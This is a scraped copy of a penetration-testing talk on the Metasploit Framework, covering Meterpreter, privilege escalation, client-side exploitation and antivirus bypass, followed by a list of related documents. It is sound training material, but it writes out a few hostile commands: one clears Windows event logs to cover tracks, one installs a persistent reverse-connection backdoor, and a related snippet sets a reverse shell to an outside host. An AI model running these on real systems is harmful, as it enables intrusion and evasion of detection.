• Home

  • Documents

  • Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit...
23
       www.nethemba.com            www.nethemba.com      Exploitation with Metasploit Nethemba s.r.o. Norbert Szetei, CEH [email protected]

Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

Embed Size (px)

Citation preview

Page 1: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com            www.nethemba.com      

Exploitation with Metasploit

Nethemba s.r.o.

Norbert Szetei, CEH [email protected]

http://www.nethemba.com/
http://www.nethemba.com/
Page 2: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Prologue Metasploit Project Metasploit Framework – open­source platform 

for exploit developing, testing and using exploit code

Metasploit Express, Metasploit Pro, NeXpose

http://www.nethemba.com/
Page 3: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

What else? Passive or active exploits Linux / Mac OS X / Windows / IRIX / HPUX / 

Solaris IPS/IDS testing Different communication channels

http://www.nethemba.com/
Page 4: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

History of Metasploit 1.0 (2003­2004) PERL, 15 exploits, project 

started by HD Moore 2.7 (2003­2006) PERL, more than 150 exploits 3.+ (2007­today) Ruby, 628 exploits Currently 18 active developers Code contribution from hundreds of people

http://www.nethemba.com/
Page 5: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Fundamental Parts Interfaces (Console, CLI, ...) Libraries (Rex, MSF Core, MSF Base) Plugins (db support, wmap, xmlrpc, ...) Tools (mostly external usage) Modules (Exploits, Auxiliaries, Payloads, 

Encoders, Nops)

http://www.nethemba.com/
Page 6: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Metasploit testing environment Virtual machines laboratory Metasploitable Remove your Windows updates Hacking the web browsers Become a hac.. penetration tester

http://www.nethemba.com/
Page 7: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Simple Usage exploits (check), auxiliaries payloads (singles, stagers, stages) portscan, db_autopwn generating payloads meterpreter, vncinject (full control over user) msfencode, msfpayload

http://www.nethemba.com/
Page 8: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Meterpreter Injection into DLL Reverse connections Core commands Stdapi commands Priv commands

http://www.nethemba.com/
Page 9: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Meterpreter ­ STDAPI File System commands Networking commands System commands User interface commands Keylogging

http://www.nethemba.com/
Page 10: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Meterpreter ­ Priv System Elevation:

Named Pipe Impersonation

Token Duplication

KiTrap0D

hashdump timestomp (MACE)

http://www.nethemba.com/
Page 11: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Meterpreter ­ Priv System Elevation:

Named Pipe Impersonation

Token Duplication

KiTrap0D

hashdump timestomp (MACE)

http://www.nethemba.com/
Page 12: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Can a firewall protect us?● Attacks on layer 7● Botnets● Social Engineering + Phishing (SET)● PassiveX● IDS Detection ­> SSL Encryption

http://www.nethemba.com/
Page 13: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Passive X● Modifies registry on Windows to permit loading 

untrusted ActiveX● Loads stage ActiveX control from MSF web 

server● Loads stagers (Meterpreter, VNC) via HTTP 

tunnel● Unfortunately it works in IE6 only

http://www.nethemba.com/
Page 14: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Reflective DLL Injection Loading of a library from memory into a host 

process Library is responsible for loading itself by 

implementing a minimal Portable Executable (PE) file loader

Minimal interaction with the host system and process

Difficult detection of the DLL

http://www.nethemba.com/
Page 15: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Integration with third party apps● Nessus● NeXpose● (Ratproxy) WMAP Web Scanner● (Aircrack) Karmetasploit

http://www.nethemba.com/
Page 16: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Exploit development● pattern_create.rb, pattern_offset.rb● porting exploits● SEH exploitation, msfpescan● msfelfscan, msfmachscan● irb, framework for exploits development

http://www.nethemba.com/
Page 17: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Exploitation on the Client Side● Binary Payloads● Trojan Infection● PDF● Java Applet● VBScript● Antivirus bypass

http://www.nethemba.com/
Page 18: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

msfencode● msfpayload for raw payload generation● Msfencode ­x 

Specify an alternate win32 executable template● Injection into an existing executable, the same 

functionality

http://www.nethemba.com/
Page 19: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Post Exploitation● PSExec (windows/smb/psexec)● Covering your tracks (event logs)

log = client.sys.eventlog.open('system') log.clear

● Sniffing (meterpreter, auxiliaries)

http://www.nethemba.com/
Page 20: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Maintaining access● Persistent Meterpreter Service

run persistence ­X ­i 15 ­p 3443 ­r 192.168.64.3● Meterpreter Backdoor Service

metsvc ­h

http://www.nethemba.com/
Page 21: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Epilogue

If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology.  (Bruce Schneier)

http://www.nethemba.com/
Page 22: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

References● http://www.metasploit.com● http://www.offensive­security.com/

● svn co https://www.metasploit.com/svn/framework3/trunk/

http://www.nethemba.com/
http://www.metasploit.com/
http://www.offensive-security.com/
https://www.metasploit.com/svn/framework3/trunk/
Page 23: Exploitation with Metasploit - Nethemba · PDF file Prologue Metasploit Project Metasploit Framework – open­source platform for exploit developing, testing and using exploit

   

     www.nethemba.com       

Any questions?

Thank you for listening

Norbert Szetei, CEH

http://www.nethemba.com/

Exploit Automation with the Metasploit Framework James Lee · 2015-05-28 · Exploit Automation with the Metasploit Framework James Lee 1 # whoami ... Not written in PHP ... Just

Exploit Automation with the Metasploit Framework James Lee · 2015-05-28 · Exploit Automation with the Metasploit Framework James Lee 1 # whoami ... Not written in PHP ... Just

Documents
Metasploit Framework User Guide · 2007-09-11 · The Metasploit Framework is a platform for writing, testing, and using exploit code. The primary users of the Framework are professionals

Metasploit Framework User Guide · 2007-09-11 · The Metasploit Framework is a platform for writing, testing, and using exploit code. The primary users of the Framework are professionals

Documents
Exploit Automation with the Metasploit Framework James Lee

Exploit Automation with the Metasploit Framework James Lee

Documents
Inside Metasploit Understanding Meterpreter - NoThink · use exploit/windows/fileformat/adobe_cooltype_sing Set PAYLOAD windows/meterpreter/reverse_tcp set LHOST backdoor.dyndns.com

Inside Metasploit Understanding Meterpreter - NoThink · use exploit/windows/fileformat/adobe_cooltype_sing Set PAYLOAD windows/meterpreter/reverse_tcp set LHOST backdoor.dyndns.com

Documents
Cyber-Security - Everyone's Responsibilityprobuswesternottawa.ca/pdf-files/cyber_security.pdfExploit Kits 5 Blackhole, Metasploit, … Java flaws already included in Blackhole exploit

Cyber-Security - Everyone's Responsibilityprobuswesternottawa.ca/pdf-files/cyber_security.pdfExploit Kits 5 Blackhole, Metasploit, … Java flaws already included in Blackhole exploit

Documents
Warning. This thread contains spoilers....Exploit #1 Manually (Part 3 Bash Trick) Exploit #2 ExploitDB Exploit #3 Metasploit Privilege Escalation ... This machine is vulnerable to

Warning. This thread contains spoilers....Exploit #1 Manually (Part 3 Bash Trick) Exploit #2 ExploitDB Exploit #3 Metasploit Privilege Escalation ... This machine is vulnerable to

Documents
Metasploit - The Exploit Learning Tree

Metasploit - The Exploit Learning Tree

Self Improvement
Writing Metasploit Plugins from vulnerability to exploit Saumil Shah ceo, net-square hack.lu - Luxembourg 2006

Writing Metasploit Plugins from vulnerability to exploit Saumil Shah ceo, net-square hack.lu - Luxembourg 2006

Documents
Writing Metasploit Plugins from vulnerability to exploit

Writing Metasploit Plugins from vulnerability to exploit

Documents
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework

Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework

Technology
Metasploit Auxiliary Modules - · PDF fileLIBRARIES MODULES INTERFACES Rex MSF Core MSF Base Payload Encoder NOP Auxiliary Console CLI PLUGINS TOOLS RPC Exploit GUI & Armitage Metasploit

Metasploit Auxiliary Modules - · PDF fileLIBRARIES MODULES INTERFACES Rex MSF Core MSF Base Payload Encoder NOP Auxiliary Console CLI PLUGINS TOOLS RPC Exploit GUI & Armitage Metasploit

Documents
Metasploit (Some Fun Stuff) - Carnal0wnage by · PDF fileDay 1 Recap Metasploit Framework Background Framework Interfaces Exploit Types Payload Types Auxiliary Modules Examples

Metasploit (Some Fun Stuff) - Carnal0wnage by · PDF fileDay 1 Recap Metasploit Framework Background Framework Interfaces Exploit Types Payload Types Auxiliary Modules Examples

Documents
Lets understand the Metasploit framework by first ...  · Web viewhi. msf z > reload. msf z > exploit. hi1. We first use our exploit z and then run it, it displays hi, We then change

Lets understand the Metasploit framework by first ...  · Web viewhi. msf z > reload. msf z > exploit. hi1. We first use our exploit z and then run it, it displays hi, We then change

Documents
Nethemba metasploit

Nethemba metasploit

Lifestyle
Metasploit v3.0을 이용한 Exploit 작성하기...Metasploit은 쉽고 빠르게 exploit 작성이 가능케 했습니다. 2. 필요한 배경지식 - 약간의 Metasploit Framework

Metasploit v3.0을 이용한 Exploit 작성하기...Metasploit은 쉽고 빠르게 exploit 작성이 가능케 했습니다. 2. 필요한 배경지식 - 약간의 Metasploit Framework

Documents
Post Exploitation Using Meterpreter · exploit “ms_ ò ó_netapi” in our metasploit framework which can exploit the vulnerability in this service. After we had loaded metasploit

Post Exploitation Using Meterpreter · exploit “ms_ ò ó_netapi” in our metasploit framework which can exploit the vulnerability in this service. After we had loaded metasploit

Documents
Vulnerability, exploit to metasploit

Vulnerability, exploit to metasploit

Technology
CEH Exploit Writing v2 - WordPress.com · Tools for Exploit Writing: Metasploit It is an open-source platform for writing, testing, and using exploit code Metasploit allows sending

CEH Exploit Writing v2 - WordPress.com · Tools for Exploit Writing: Metasploit It is an open-source platform for writing, testing, and using exploit code Metasploit allows sending

Documents
the target machine is a fascinating ... - Exploit Database · Once the exploit got executed successfully, Metasploit throws a shell back to the attacker for interacting with it. Since

the target machine is a fascinating ... - Exploit Database · Once the exploit got executed successfully, Metasploit throws a shell back to the attacker for interacting with it. Since

Documents
Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

Documents
Metasploit Framework ile Exploit Gelistirme

Metasploit Framework ile Exploit Gelistirme

Technology
Metasploit v3.0을 이용한 Exploit 작성하기 · 2017. 6. 13. · Metasploit은 쉽고 빠르게 exploit 작성이 가능케 했습니다. 2. 필요한 배경지식 - 약간의

Metasploit v3.0을 이용한 Exploit 작성하기 · 2017. 6. 13. · Metasploit은 쉽고 빠르게 exploit 작성이 가능케 했습니다. 2. 필요한 배경지식 - 약간의

Documents
New web attacks-nethemba

New web attacks-nethemba

Technology
Louisville Infosec - Metasploit Class - Fuzzing and Exploit Development with Metasploit

Louisville Infosec - Metasploit Class - Fuzzing and Exploit Development with Metasploit

Technology
Introdução ao Metasploit (Parte 1) - exploit-db.comportuguese... · Introdução ao Metasploit (Parte 1) ... Menu Dragon --> System --> Oracle VM VirtualBox ... Para adicionarmos

Introdução ao Metasploit (Parte 1) - exploit-db.comportuguese... · Introdução ao Metasploit (Parte 1) ... Menu Dragon --> System --> Oracle VM VirtualBox ... Para adicionarmos

Documents
Writing Metasploit Plugins - XConXFocusxcon.xfocus.org/.../Saumil_Shah-Writing_Metasploit_Plugins...Exploit.pdf · Writing Metasploit Plugins from vulnerability to exploit Saumil

Writing Metasploit Plugins - XConXFocusxcon.xfocus.org/.../Saumil_Shah-Writing_Metasploit_Plugins...Exploit.pdf · Writing Metasploit Plugins from vulnerability to exploit Saumil

Documents
Metasploit Framework Kullanım Rehberi - exploit-db.comturkish]-pen... · Güvenilmeyen İmzalı Java Applet ile Web Tarayıcısı Exploit İşlemi ... Meterpreter Üzerinden Meterpreter

Metasploit Framework Kullanım Rehberi - exploit-db.comturkish]-pen... · Güvenilmeyen İmzalı Java Applet ile Web Tarayıcısı Exploit İşlemi ... Meterpreter Üzerinden Meterpreter

Documents
Nethemba - Writing exploits

Nethemba - Writing exploits

Technology
Metasploit framework ile exploit gelistirme 2013 1.5

Metasploit framework ile exploit gelistirme 2013 1.5

Technology
Metasploit Exploit CVE-2009-0075 - simms-teach.com · Metasploit Exploit CVE-2009-0075 MS09-002 IE7 CFunctionPointer Uninitialized Memory Corruption

Metasploit Exploit CVE-2009-0075 - simms-teach.com · Metasploit Exploit CVE-2009-0075 MS09-002 IE7 CFunctionPointer Uninitialized Memory Corruption

Documents